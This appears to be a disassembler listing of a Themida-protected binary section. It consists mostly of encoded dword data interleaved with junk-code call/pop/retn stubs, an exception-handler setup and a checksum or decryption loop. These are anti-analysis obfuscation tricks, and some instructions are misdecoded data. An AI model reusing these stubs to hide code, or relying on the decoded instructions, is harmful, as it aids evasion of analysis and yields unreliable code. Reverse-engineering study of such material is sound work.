dd 90ED1B7Bh, 13E950h, 0C1410000h, 3EE04623h, 42C89BB2h
dd 0D53E0D41h, 91C95AC2h, 60505BE9h, 66C88B66h, 9061F38Bh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 91C35141h
dd 0DE5B9F44h, 6A62D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0F5C35242h, 773AEB81h, 0BE95457h, 3B000000h
dd 1D4FBDBh, 46DC1F06h, 6A76ABh, 5E960h, 41E10000h, 61B88632h
dd 0DB595FFh, 17BB0612h, 8D79FE0Dh, 15AF028Dh, 0FFF8B306h
dd 0A58D89D1h, 8306121Dh, 1207ADBDh, 850F0106h, 0AAh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9EC35646h, 63BDA868h
dd 6810FBBh, 2B000000h, 120ED1BDh, 6A026A06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 0A132C351h, 6660503Ah, 8B66DF8Bh, 48961DFh, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 992BC527h, 0F138F96h, 95FFFFBFh, 61206A5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 68C35040h, 0FCC69E73h
dd 13BD9D0Bh, 57E90612h, 0E800000Dh, 0
dd 22ED815Dh, 6606169Ah, 5B84DB81h, 0ADADBB66h, 9437858Dh
dd 0FC8A0615h, 0BE850h, 0F39E0000h, 0BAB2974Ah, 6BE33704h
dd 0E8525014h, 5, 5B11ED6Ch, 310F5F18h, 585A6160h, 2404895Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h
dd 198D0145h, 64061210h, 35FFh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1A97E2C3h
dd 0FD492175h, 89647AB3h, 25h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 98D3AF82h
dd 8529CC58h, 6121019h, 299D9D01h, 85FF0612h, 6120679h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B2C35141h
dd 0A94EEF18h, 29F07499h, 1214F59Dh, 0BFF6A06h, 1222CDBDh
dd 0B9B5FF06h, 6A06122Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 4F0FC351h, 0DB80AB5Dh
dd 0B1BD8B2Ah, 0FF06122Ch, 122CB595h, 112E906h, 0DF8B0000h
dd 0B50900B0h, 61204E9h, 850F70E6h, 6, 19A99589h, 830F0612h
dd 6, 2415BD8Bh, 71E40612h, 66FBB70Fh, 1233C781h, 830F613Ch
dd 0DCh, 0C8B60FFCh, 58A0Fh, 81660000h, 0F4580EFh, 685h
dd 49B58900h, 0BA061215h, 6, 7D362CBFh, 0C1C18B52h, 0BD8B04E8h
dd 61204B5h, 0EA59529h, 0F7660612h, 6D8D89E2h, 66061211h
dd 770AEF81h, 8BF5C82Bh, 27BB66D1h, 1BE985h, 12E80000h
dd 4D000000h, 7F6C7A8Bh, 59B350Fh, 1AB004CDh, 0E360EA78h
dd 0D8BF0FA2h, 59858B5Bh, 1061219h, 120525B5h, 7C08306h
dd 8900C083h, 1228D185h, 0FD03B06h, 1183h, 0F3816600h
dd 45E9B8F4h, 66000000h, 0BF66DA8Bh, 8D8B33ABh, 61218D1h
dd 0F3815B53h, 247FF2C8h, 0F01E183h, 2784h, 3890F00h, 0F000000h
dd 0A583DAB7h, 61218D1h, 4DCF80FEh, 1E59D8Bh, 95890612h
dd 6121959h, 0E9DF8B66h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+61617C1h]
push 0
push eax
call sub_59068D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59068D proc near ; CODE XREF: Themida_:00590685p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_59068D endp
; ---------------------------------------------------------------------------
adc dh, [ebx+ebp*8+29B19D05h]
cmp [edi+67h], ecx
mov edi, [ebp+61228EDh]
push 0
push 0
push ebp
call sub_5906BA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5906BA proc near ; CODE XREF: Themida_:005906B2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5906BA endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 18h
dd 7B1D3F6h, 7367CF9Bh, 19CD95FFh, 0B9F80612h, 835h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 3BC35646h, 748D8466h
dd 8916D044h, 1200EDB5h, 0FCE18306h, 45B52960h, 3061205h
dd 121E458Dh, 6AFC6106h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1C042444h, 41000000h, 834C351h, 91805CCBh
dd 0F017042h, 681h, 0A5BD8B00h, 0B8061207h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
loc_590753: ; CODE XREF: Themida_:005907A0j
call sub_59075B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59075B proc near ; CODE XREF: Themida_:loc_590753p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_59075B endp
; ---------------------------------------------------------------------------
db 0E0h
; ---------------------------------------------------------------------------
dec eax
pop esi
or [ebp+61209DDh], edi
sub edx, edx
mov di, ax
loc_590779: ; CODE XREF: Themida_:00590783j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_590779
push 0
push edi
call sub_590790
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_590790 proc near ; CODE XREF: Themida_:00590788p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_590790 endp
; ---------------------------------------------------------------------------
jnb short loc_590753
daa
lodsb
mov edi, [ebp+6121321h]
jz loc_5907B6
mov [ebp+6120365h], ebx
loc_5907B6: ; CODE XREF: Themida_:005907AAj
or eax, 88h
mov edi, [ebp+6120685h]
mov edx, [ebp+61209A1h]
push 0
push ebp
call sub_5907D2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5907D2 proc near ; CODE XREF: Themida_:005907CAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5907D2 endp
; ---------------------------------------------------------------------------
dw 0B2B2h
dd 62D159C7h, 0C0DF8166h, 58D8B47h, 6A061205h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0E9C9C351h, 0Eh, 95788B1Bh, 0A6685C33h, 66D2FF42h, 8B50B64Dh
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5BC35242h, 59C4A1D4h
dd 0ED45A3A0h, 0A59D2B50h, 57061209h, 2081BD89h, 835B0612h
dd 122121BDh, 840F0006h, 0B8h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 54C35747h, 2DD59589h, 850F0612h
dd 6, 2305BD0Bh, 0B80612h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E32BC350h
dd 15F7BB66h, 4DB58D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 8F4A7BC3h, 21B58987h
dd 0FF06122Ah, 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 852360F3h, 6121805h, 0C1BD0953h
dd 5E061211h, 0C8806061h, 55B5236Eh, 6106121Ch, 1BD9BD83h
dd 0F000612h, 3BE84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 6558A746h, 0BD83F841h
dd 6121BD9h, 0AB840F01h, 29000003h, 1215259Dh, 0D9BD8306h
dd 306121Bh, 362860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 3F6F46C3h, 6025B760h
dd 5D14BE66h, 61A7CC80h, 0CE961h, 0CEEB0000h, 1C1EA7DCh
dd 846FBDDh, 6A604FDDh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 8A42C355h, 0E6BC8467h
dd 9C59D8Bh, 0BB660612h, 8C66BC6Ch, 52006AD9h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 5EED33D4h
dd 23159D8Bh, 0E1800612h, 56006A04h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C8D7B183h
dd 8A0F90FEh, 0Ch, 6880Fh, 0B5890000h, 61221DDh, 840FC90Ah
dd 140h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 60C35545h, 63CAF960h, 3EEF811Eh, 8B735FF6h, 12308D85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 8A615DDDh, 0F31248C4h, 5A3BB9Eh, 853320B9h
dd 6123165h, 7E9h, 77F89B00h, 58E5BEDCh, 860F50h, 89000000h
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 519006C3h, 46C0AAA9h, 950952B7h, 61221DDh
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 383B2DC3h, 58922E4Ah, 8B17BF66h, 0AE40BE68h
dd 5E98Ch, 0D96F0000h, 81667B1Bh, 0C3412404h, 49BB7370h
dd 0FF77B185h, 12237995h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89615BA8h
dd 15C81285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 28637CD7h, 151CD69Ch, 8166FCBEh
dd 89ACDFD7h, 12192585h, 10CE906h, 0F88B0000h, 0C80A858Bh
dd 9D8B0615h, 6123475h, 1800C7h, 0BD230000h, 6120ED1h
dd 0C80EB58Bh, 9D8B0615h, 6122365h, 0B127C381h, 858B28AFh
dd 6122AB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 13C35141h, 68949A1h, 0FE951h, 0BC920000h, 0DB904F4h
dd 58949DA6h, 9422F9C8h, 858B5F77h, 612308Dh, 4689DA8Bh
dd 80BF5304h, 5F0FA678h, 3915BB50h, 34895816h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
dd 0DE013CAEh, 0DF806BA3h, 0B5FFFC69h, 615C80Ah, 0B468DF8Bh
dd 815D62B5h, 0B64B2434h, 6A5D7Dh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 9010C8C3h, 0DFDE857Bh
dd 0F381512Ah, 2767FCF5h, 0AED3805Bh, 0C812858Dh, 0BF0F0615h
dd 26B390FEh, 9D8B9050h, 61200C5h, 237995FFh, 89520612h
dd 12183DB5h, 0C7615F06h, 121BD985h, 306h, 1DBD8B00h, 83061203h
dd 15C812BDh, 840F0006h, 2Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 72C35646h, 66A0AF99h, 20E9F88Bh
dd 66000000h, 0FF73E381h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 66C08B00h, 6ADF8Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 0D5E272C3h, 810FB09Eh
dd 5, 96313BBFh, 0D9BD8300h, 306121Bh, 3BC850Fh, 0BD830000h
dd 615C812h, 0AF840F00h, 6A000003h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2A0FC351h
dd 841BE467h, 0B5FFF820h, 615C812h, 1AA995FFh, 85890612h
dd 612019Dh, 0C806B58Bh, 6A0615h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0F6058C3h, 0B866D1BFh
dd 0F6147E2h, 0C8Ah, 7E900h, 9EDE0000h, 163C554Bh, 106C7C6h
dd 8B000100h, 1221BD9Dh, 8B0F5006h, 3, 89FA8B66h, 6A2434h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0BF6610C3h, 0B5FF9C4Eh, 615C812h, 19A5BD8Bh, 95FF0612h
dd 6121C05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 34C35040h, 8B668F66h, 6B58BFAh, 6A0615C8h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0C3BFC352h, 858BC2E6h, 61201A5h, 68D0Fh, 85890000h
dd 61215DDh, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 0C45F56C3h, 87D9D8Bh
dd 958B0612h, 61209A1h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 43C35040h, 86C5B89Ah, 41B6449h, 6840F60h
dd 8B000000h, 120DD985h, 83F86106h, 295604C2h, 122A9D9Dh
dd 50895B06h, 79BD8920h, 8B061215h, 1234A99Dh, 6F858D06h
dd 6A0615DCh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 0C9B1C352h, 5FDF793Eh, 664D96D7h
dd 89D98B66h, 0B886h, 2DB58900h, 8B06121Ch, 66006AD9h
dd 0B5FFFA8Bh, 615C812h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0E8C35747h, 66FAB024h, 7114D381h, 6E851h
dd 0A50A0000h, 1C7EFA84h, 0EB5CC381h, 5B5B1081h, 6A595FFh
dd 9D290612h, 61219C5h, 10E896h, 93290000h, 0B75A47Ah
dd 699BB7Dh, 26EEF067h, 0D88B540Ah, 0BB66505Bh, 2396A2ACh
dd 122ED5BDh, 12B5FF06h, 6A0615C8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 894AC355h
dd 9D2B9549h, 6121421h
dd 28195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 83F1ACC3h, 122A09BDh, 840F0006h
dd 36h, 1DD9529h, 89500612h, 6A2434h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 47BB93C3h
dd 113B49Ah, 8B5747CBh, 121DB59Dh, 0B5FF5B06h, 615C812h
dd 10E9h, 45A1B700h, 404A42B3h, 16E5B4D4h, 79D2987Dh, 0C195FFBBh
dd 0BF061218h, 2257D4D8h, 0C812B5FFh, 6A0615h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 607B0DC3h, 0FFD98B66h, 121BA195h, 0DDBD8B06h, 8306122Dh
dd 121EB1BDh, 840F0206h, 60h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 2DC35747h, 0BB8DD50Bh, 7CF37889h
dd 3A5858Bh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 3693A5C3h, 18559FBEh, 8AEACF08h
dd 519D8BDDh, 0C606122Dh, 0B5890000h, 6122045h, 1B5985C7h
dd 612h, 8B0F0000h, 6, 189D9D0Bh, 0FEE90612h, 6AFFFFF3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0D165C351h, 78392856h, 80B49083h, 9E95AE3h
dd 0C4000000h, 85FEB712h, 0A0D618A3h, 6AC18Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0F89CCAC3h, 8BB4727Eh, 99D8D29h, 858D0612h, 6122E01h
dd 1579BD29h, 66500612h, 489D98Bh, 56006A24h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 160F0AA3h
dd 6AE8A7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 74C35545h, 0DE8B6A73h, 6A006Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 18636CC3h
dd 2F9F3896h, 820FDF8Bh, 15h, 10E9h, 9C1FC600h, 0B40BC63Fh
dd 0D4ED4122h, 0AB009F03h, 85895158h, 6121CA9h, 6A858D5Bh
dd 6A0616A9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 51D8C355h, 0B168CD21h, 0F50BC0Eh
dd 0BB52FEBFh, 1207160Eh, 5C0835Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 0F1C35545h, 0C5B7C345h, 8E95250h
dd 4E000000h, 0F45940A5h, 5B3F5443h, 0F240489h, 382h, 4CC78000h
dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 5E6EB6C3h, 0B589513Ch, 61226DDh, 6AFB8Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0A2C35242h
dd 0AC48AEF3h, 89DA354Ch, 1223E18Dh, 95FFF906h, 6120DB5h
dd 28D8DFCh, 0E80615AFh, 14h, 40177FC4h, 4F748EDBh, 75BDF2E8h
dd 3A9AB52Ah, 0DFED5A6Eh, 5BFB8B66h, 0BD8BD1FFh, 6121129h
dd 7ADBD83h, 0F010612h, 4F85h, 60026A00h, 0D19589F5h, 61061219h
dd 10E850h, 87DA0000h, 0BA1AFAE8h, 0E837D3DCh, 0DFE28CCAh
dd 89BFD94Eh, 5F3FB793h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FCEBC351h
dd 95FF46B3h, 61206A5h, 0F28E9h, 0E800h, 815D0000h, 16A974EDh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 7D9D09A5h, 8906121Dh, 12346DB5h, 37858D06h
dd 29061594h, 1209758Dh, 0BE95006h, 99000000h, 2A10C2FBh
dd 0AC91C282h, 48963C7h, 0BBBF6624h, 35FF6447h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5913EF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5913EF proc near ; CODE XREF: Themida_:005913E7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5913EF endp
; ---------------------------------------------------------------------------
or al, 3Dh
lodsd
mov al, ds:1C437CB7h
push eax
mov di, 17BFh
pop edi
mov large fs:0, esp
xor [ebp+6120E61h], esi
inc dword ptr [ebp+6120679h]
push 0FFFFFFFFh
stc
loc_591423: ; CODE XREF: Themida_:0059144Dj
jnz loc_59142C
mov di, bx
loc_59142C: ; CODE XREF: Themida_:loc_591423j
push dword ptr [ebp+6122D69h]
push 0
push ecx
call sub_59143D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59143D proc near ; CODE XREF: Themida_:00591435p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_59143D endp
; ---------------------------------------------------------------------------
jbe short loc_591423
sar byte ptr [ebp-7A76EAEBh], cl
sbb eax, 60061209h
mov bl, dh
popa
call dword ptr [ebp+6122CB5h]
jmp loc_591574
; ---------------------------------------------------------------------------
dd 0F00B0FCh, 68Eh, 0C5950900h, 8906122Ah, 12198185h, 0E870E606h
dd 6, 3A705567h, 94BBF28Ch, 5F46ED20h, 12BF71E4h, 3C4039F8h
dd 0D5830F61h, 60000000h, 51DA8B66h, 1DD99D8Bh, 61590612h
dd 66C8B60Fh, 0BACC3ABBh, 6, 0DE8B5B51h, 0BD0BC18Bh, 612299Dh
dd 2925BD8Bh, 0E8C10612h, 0DFB70F04h, 50E2F766h, 89C82B5Fh
dd 12124D9Dh, 89D18B06h, 1229259Dh, 0CE906h, 0BD8B0000h
dd 6120E9Dh, 0DFDBD89h, 858B0612h, 6120E01h, 810Fh, 0C0830000h
dd 259D8B07h, 8906122Ah, 12038185h, 0C08306h, 18B1BD89h
dd 0D03B0612h, 18830Fh, 4DE90000h, 0E9000000h, 0Eh, 0EFF0E32h
dd 757FF2A2h, 0DF0B9FF4h, 8D8B8A31h, 612318Dh, 0BF66F98Bh
dd 0E1837D61h, 25840F01h, 0F000000h, 0A583FEBFh, 612318Dh
dd 0E59D0BFEh, 89061214h, 120E0195h, 0BABF6606h, 81BD8BD4h
dd 0E9061234h, 0
; ---------------------------------------------------------------------------
loc_591574: ; CODE XREF: Themida_:00591463j
lea esi, [ebp+61621F2h]
push 0
push edx
call sub_591585
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_591585 proc near ; CODE XREF: Themida_:0059157Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_591585 endp
; ---------------------------------------------------------------------------
db 79h, 8Bh, 9Dh
; ---------------------------------------------------------------------------
jnz short near ptr loc_59159C+3
adc al, [esi]
loc_59159C: ; CODE XREF: Themida_:00591598j
or [ebp+6122BC5h], edx
push 0
push 0
push eax
call sub_5915AF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5915AF proc near ; CODE XREF: Themida_:005915A7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5915AF endp
; ---------------------------------------------------------------------------
db 61h
dd 9E96Eh, 1DE10000h, 47D2C6A4h, 0FF00DDCBh, 1219CD95h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 5B9B83B1h, 18B98D89h, 76B90612h, 89000007h
dd 122D398Dh, 0FCE18306h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 0B6C35747h, 9ED381EBh, 0FC697245h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0F2C35040h, 0B52A75BDh
dd 5A6E3A9Ah, 463B6DBBh, 0B859h, 0EE90000h, 29000000h
dd 0A0E49E61h, 0E25E7C44h, 0D9299189h, 69BD8BCDh, 2B06120Eh
dd 55006AD2h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 0C9DCEDAh, 0C58D098Dh, 2B06122Ch, 121E69BDh
dd 0C233AD06h, 0D003E8D1h, 7504E983h, 7E9F4h, 0B36A0000h
dd 17227A79h, 56006A0Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 897E76DBh, 122F218Dh, 0ABBB6606h
dd 880D77h, 80520000h, 8B5B0BD7h, 1209A195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 9262C634h, 290F90C4h, 120DBDBDh, 58D8B06h, 6A061205h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 7AD8C352h, 2730CBBh, 2D8D29F5h, 5006120Dh
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 14E9DAh, 15DF0000h, 0C28017BFh, 0F442AD17h, 0A99F2272h
dd 8B9B9378h, 6AC7F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 12E96FC3h, 49000000h, 9ECDA7A1h
dd 0C9902E78h, 7FB769EFh, 40E49A0h, 21BD833Bh, 61221h
dd 86840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 395FA1C3h, 8B2D5FF5h, 1209A59Dh
dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 0BDDEB3C3h, 813CE809h, 85DF30C3h
dd 8DFE8B46h, 124DB58Dh, 0DD952906h, 0FF06122Dh, 50006AE1h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 8077AC21h, 0DEBF0F62h, 1BD9BD83h, 0F000612h, 4E984h
dd 85958900h, 8306122Ch, 121BD9BDh, 840F0106h, 4F1h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 20C35747h, 3A095FF1h
dd 8386277Bh, 121BD9BDh, 860F0306h, 48Bh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ah, 9BC35141h, 892B95A0h
dd 14E98608h, 9F000000h, 0B0AC8C1Ch, 0E01C5352h, 1B24A1B4h
dd 466BBC4h, 60109FD3h, 128DBD31h, 8C660612h, 55006AD9h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 18E57E75h, 9FC79878h, 8166D3E4h, 8BB6AEE3h, 122385BDh
dd 4E18006h, 12E8h, 7CF47400h, 2A9B046Eh, 0FA71B77Bh, 0F2BAB8D9h
dd 0F7BBC67h, 581h, 0CB816600h, 0A5F652Fh, 0B8840FC9h
dd 0F000001h, 858BDBBFh, 612308Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 66C35141h, 80D96B36h, 8533FDC7h
dd 6123165h, 1DF59D8Bh, 60900612h, 58585053h, 13E8h, 0A6C17A00h
dd 0E0DB6259h, 0C731727Dh, 0C08A452Eh, 0CC1331E6h, 310F5250h
dd 615B585Ah, 13E850h, 9B180000h, 35D87E9Eh, 9CF0A57Eh
dd 12D7EB1Eh, 6846DB38h, 0DE9E0h, 0F5E80000h, 0CF417438h
dd 0DD09F82Dh, 5B2FB9C6h, 56006A90h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0FD71108Fh
dd 8F0F12Bh, 0EB81FB57h, 512F6578h, 9D8B006Ah, 61212C1h
dd 4E8h, 1F03FF00h, 0BB665000h, 448BA177h, 6E80424h, 2B000000h
dd 0ACE899F5h, 12E96Ch, 0BC380000h, 0BBA835Ah, 93365EE8h
dd 0B63307D9h, 54412BADh, 60008B5Fh, 11E860B5h, 0FE000000h
dd 0EFA4240Ch, 7980345Ah, 796A9079h, 77BAD763h, 6159BBB1h
dd 4244489h, 8E9h, 6DE5D500h, 0E2BDA13Fh, 958958A6h, 61220B5h
dd 237995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 77E76CC3h, 9D8BD1D5h, 6121FB5h
dd 0C8128589h, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 150424h, 52420000h, 0E96977C3h, 13h, 0CE6E66B5h, 59BA19A9h
dd 2872CA8Eh, 5ACF78F5h, 0F042F94h, 1781h, 0DE800h, 0B6DB0000h
dd 736BC0E5h, 1ECA4233h, 66746C49h, 5B7694BFh, 19CE9h
dd 1DB58900h, 8B061221h, 15C80A85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0AEC082F0h
dd 60B7341Fh, 1A759529h, 0C70612h, 18h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0BCC35747h, 0EB58B51h
dd 8B0615C8h, 120531BDh, 0B9858B06h, 6A06122Ah, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 75F5C355h, 57EC68F2h, 0D14D63CFh, 858B0689h, 612308Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 6AC35646h
dd 241A043Fh, 5CB8DB5Ah, 9E851h, 2A730000h, 22C57A3h, 668F6AD6h
dd 5BC577BFh, 558D895Fh, 0E906121Ch, 0Bh, 0BB1EAC72h, 84172320h
dd 89D5E16Ch, 8E90446h, 0F8000000h, 3DD8F65Fh, 96E11F81h
dd 6650DA8Bh, 966B8FBFh, 0C8816660h, 0FF6168ACh, 15C80AB5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0E4A52A05h, 638F6821h, 78BF5B0Bh, 817C6082h
dd 60702434h, 8B605B14h, 120C319Dh, 0C2BF0F06h, 12858D61h
dd 890615C8h, 121B5195h, 0E8605006h, 0Fh, 0EC51BDF6h, 2BAFAAEEh
dd 0CB71D67Bh, 0B75372D7h, 896159F9h, 8B662404h, 7995FFDEh
dd 6A061223h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0D79FC351h, 0FBFEB5D6h, 6A61E9h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 8768D3C3h, 111103C6h, 6042F217h, 0A2D8D03h, 0D1810612h
dd 3B56D1EAh, 0D985C761h, 306121Bh, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
